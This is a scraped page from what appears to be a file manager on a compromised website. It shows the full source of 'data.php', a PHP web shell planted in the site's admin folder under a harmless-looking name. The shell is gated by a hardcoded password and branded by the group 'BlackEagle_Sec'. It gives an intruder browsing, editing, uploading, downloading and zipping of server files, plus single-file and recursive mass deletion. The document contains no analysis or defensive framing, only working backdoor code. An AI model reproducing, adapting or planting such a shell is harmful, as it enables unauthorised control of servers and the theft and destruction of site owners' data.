D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
ksclnmuac
/
public_html
/
web
/
admin
/
Filename :
data.php
back
Copy
<?php // Start session for password protection session_start(); // Set password $password = 'papa'; // If password is not set or incorrect, display login form if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { if (isset($_POST['password']) && $_POST['password'] === $password) { $_SESSION['logged_in'] = true; } else { // Display the login page echo "<!DOCTYPE html><html><head><title>Login</title><style> body { background-color: #000000; color: #ffffff; font-family: Arial, sans-serif; text-align: center; } h1 { color: cyan; } img { width: 200px; } .input { margin-top: 20px; padding: 10px; } </style></head><body>"; echo "<h1>Shell Uploaded BY </h1>"; echo "<img src='https://i.ibb.co/Q8TJjt3/sec.png/200' alt='Placeholder Image'><br>"; echo "<h3>Team: BlackEagle_Sec</h3>"; echo "<form method='POST'>"; echo "<input type='password' name='password' placeholder='Enter Password' class='input'><br>"; echo "<input type='submit' value='Login' class='input'>"; echo "</form></body></html>"; exit; } } // PHP shell functionality echo "<!DOCTYPE html><html><head><title>Advanced Shell</title><style> body { background-color: #000000; color: #ffffff; font-family: Arial, sans-serif; } h1 { color: #ff0000; } a { color: #03fbff; text-decoration: none; } .rename { color: #26ff00; } .delete { color: #f70f0f; } .download { color: #ffff00; } .button { background-color: #03fbff; border: none; color: black; padding: 10px 20px; text-align: center; text-decoration: none; display: inline-block; font-size: 16px; margin: 4px 2px; cursor: pointer; } </style></head><body>"; echo "<h1>Shell Uploaded By BlackHat</h1>"; function list_files($dir) { $files = scandir($dir); echo "<h3>Directory: $dir</h3><ul>"; foreach ($files as $file) { if ($file == ".") continue; $file_path = realpath($dir . DIRECTORY_SEPARATOR . $file); if (is_dir($file_path)) { echo "<li><a href='?dir=$file_path'><b>[DIR]</b> $file</a></li>"; } else { echo "<li><a href='?dir=$dir&file=$file_path'>$file</a> | <a href='?dir=$dir&rename=$file_path' class='rename'>[Rename]</a> | <a href='?dir=$dir&delete=$file_path' class='delete' onclick='return confirm(\"Are you sure you want to delete $file?\");'>[Delete]</a> | <a href='?dir=$dir&download=$file_path' class='download'>[Download]</a></li>"; } } echo "</ul>"; echo "<form method='POST' enctype='multipart/form-data' style='margin-top:20px;'> <input type='file' name='upload_file' class='button'> <input type='submit' name='upload' value='Upload File' class='button'> </form>"; echo "<br><form method='POST'> <input type='submit' name='download_all' value='Download All Files' class='button'> <input type='submit' name='delete_all' value='Delete All Files' class='button' onclick='return confirm(\"Are you sure you want to delete all files in this directory?\");'> </form>"; } function view_file($file) { $content = htmlspecialchars(file_get_contents($file)); echo "<h3>Editing: $file</h3>"; echo "<form method='POST'>"; echo "<textarea name='content' style='width:100%;height:400px;'>$content</textarea><br>"; echo "<input type='submit' name='save' value='Save' class='button'>"; echo "</form>"; if (isset($_POST['save'])) { file_put_contents($file, $_POST['content']); echo '<p>File saved successfully!</p>'; } } function rename_file($old_name, $new_name) { if (rename($old_name, $new_name)) { echo '<p>File renamed successfully!</p>'; } else { echo '<p>Failed to rename file.</p>'; } } function create_file($dir, $file_name) { $file_path = $dir . DIRECTORY_SEPARATOR . $file_name; if (file_put_contents($file_path, '') !== false) { echo "<p>File '$file_name' created successfully!</p>"; } else { echo '<p>Failed to create file.</p>'; } } function delete_file($file) { if (unlink($file)) { echo '<p>File deleted successfully!</p>'; } else { echo '<p>Failed to delete file.</p>'; } } function delete_all_files($dir) { $files = scandir($dir); foreach ($files as $file) { if ($file != "." && $file != "..") { $file_path = realpath($dir . DIRECTORY_SEPARATOR . $file); if (is_dir($file_path)) { delete_all_files($file_path); // Recursively delete directories rmdir($file_path); // Delete the directory itself } else { unlink($file_path); // Delete the file } } } echo '<p>All files deleted successfully!</p>'; } function upload_file($dir) { if (isset($_FILES['upload_file'])) { $upload_path = $dir . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_path)) { echo "<p>File uploaded successfully to $upload_path</p>"; } else { echo "<p>Failed to upload file.</p>"; } } } function zip_dir($source, $destination) { if (!extension_loaded('zip') || !file_exists($source)) { return false; } $zip = new ZipArchive(); if (!$zip->open($destination, ZIPARCHIVE::CREATE)) { return false; } $source = str_replace('\\', '/', realpath($source)); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = str_replace('\\', '/', realpath($file)); if (is_dir($file) === true) { $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); } else if (is_file($file) === true) { $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); } } } else if (is_file($source) === true) { $zip->addFromString(basename($source), file_get_contents($source)); } return $zip->close(); } function download_all_files($dir) { $zip_file = tempnam(sys_get_temp_dir(), 'zip'); zip_dir($dir, $zip_file); header('Content-Type: application/zip'); header('Content-disposition: attachment; filename=all_files.zip'); header('Content-Length: ' . filesize($zip_file)); readfile($zip_file); unlink($zip_file); exit; } function download_file($file) { if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file)); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } else { echo "<p>File does not exist.</p>"; } } // Main logic $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { create_file($dir, $_POST['new_file_name']); } if (isset($_GET['rename'])) { $old_name = $_GET['rename']; echo "<form method='POST'>"; echo "<input type='text' name='new_name' placeholder='New name' value='".basename($old_name)."'>"; echo "<input type='submit' name='rename_file' value='Rename' class='button'>"; echo "</form>"; if (isset($_POST['rename_file']) && !empty($_POST['new_name'])) { $new_name = $dir . DIRECTORY_SEPARATOR . $_POST['new_name']; rename_file($old_name, $new_name); } } if (isset($_GET['delete'])) { $file_to_delete = $_GET['delete']; delete_file($file_to_delete); } if (isset($_GET['download'])) { $file_to_download = $_GET['download']; download_file($file_to_download); } if (isset($_POST['delete_all'])) { delete_all_files($dir); } if (isset($_POST['upload'])) { upload_file($dir); } if (isset($_POST['download_all'])) { download_all_files($dir); } if (isset($_GET['file'])) { view_file($_GET['file']); } else { list_files($dir); } echo "</body></html>"; ?>